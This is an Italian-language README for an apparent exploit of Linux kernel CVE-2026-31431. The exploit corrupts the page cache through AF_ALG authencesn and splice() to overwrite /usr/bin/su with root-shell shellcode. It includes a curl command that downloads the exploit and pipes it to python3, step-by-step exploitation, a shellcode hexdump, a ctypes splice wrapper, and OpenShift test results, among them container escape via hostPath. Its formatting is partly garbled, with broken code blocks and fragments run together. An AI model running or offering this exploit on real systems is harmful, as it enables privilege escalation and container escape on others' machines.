
Exploit per il kernel Linux CVE-2026-31431 che causa la corruzione della page cache tramite la manipolazione di authencesn AEAD, mirato all'escalation dei privilegi in ambienti container e OpenShift.
Corruzione della page cache del kernel Linux tramite manipolazione AEAD authencesn.
Dopo test approfonditi su più cluster OpenShift 4.20.16 con kernel RHEL 9.6:
Vedere la sezione Risultati dei Test Completi per i dettagli completi.
CVE-2026-31431 è una vulnerabilità del kernel Linux nell'implementazione crittografica AEAD authencesn che consente a processi non privilegiati di corrompere la page cache di file leggibili tramite socket AF_ALG e manipolazione della syscall splice().
I test mostrano: La corruzione della page cache funziona in modo affidabile, ma l'escalation dei privilegi NON si verifica sui kernel RHEL 9.6 nei nostri ambienti di test.
Punteggio CVSS: 7.8 (Alto)
Interessati: Versioni del kernel Linux con supporto authencesn (2017-2026)
Divulgazione Pubblica: 29 aprile 2026
splice() tramite ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Da File Locale```bash
python3 exploit.py
su
Cosa ACCADRÀ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Verifica della Cache di Pagina (conferma la corruzione):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Cosa NON accadrà (in base ai test):```bash
su
id -u
**Conclusione:** Il danneggiamento della page cache riesce, ma l'escalation dei privilegi fallisce.
## Dettagli Tecnici
### Vulnerabilità
L'implementazione di `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) del kernel Linux presenta un difetto nella gestione delle operazioni in-place. Quando si elaborano operazioni AEAD inviate tramite un socket AF_ALG, una pagina della page cache può finire nella scatterlist di destinazione scrivibile del kernel.
### Tecnica di Sfruttamento
1. **Creare un socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurare i parametri AEAD** (chiave, authsize)
3. **Aprire il binario setuid di destinazione** (es. `/usr/bin/su`)
4. **Usare splice()** per portare il binario nella page cache
5. **Attivare l'operazione AEAD in-place** che causa la scrittura nella page cache
6. **Scrivere lo shellcode** 4 byte alla volta
7. **Eseguire il binario modificato** per ottenere root
### Shellcode
L'exploit utilizza uno shellcode di 160 byte che modifica `/usr/bin/su` per:
- Saltare l'autenticazione tramite password
- Concedere l'accesso a una shell root
- Mantenere la funzionalità normale per gli utenti non privilegiati
## Compatibilità con Python 3.9
Python 3.9 e versioni precedenti non dispongono di `os.splice()` nella libreria standard. Questo exploit include un'implementazione basata su ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Questo rende l'exploit funzionante su:
Configurazione del Nodo:
Risultati del Test:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Ambiente di Test 2: Cluster OpenShift Nuovo (Test di Verifica)
**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configurazione del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identico al Test 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (verificato)
- UID: 1000810000 (namespace utente)
- Capabilities: 0x0000000000000000 (ZERO)
**Risultati del Test:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Coerenza: risultati riproducibili al 100% su cluster indipendenti
Scenario A: Con volume hostPath (fuga dal container possibile)```yaml volumes:
Risultato: ✅ **Fuga dal container** - modifica la cache delle pagine dell'host (Device 33, Inode 4288)
**Scenario B: SCC Restricted-v2 (senza hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Risultato: ❌ Nessuna fuga dal container - interessa solo l'overlay del container (inode separato)
Risultato critico: l'accesso a hostPath (non le capabilities) è il fattore determinante per la fuga dal container.
Possibili spiegazioni (richiedono ulteriori ricerche):
mmap(PROT_READ)mmap(PROT_EXEC) possono bypassare la cache corrotta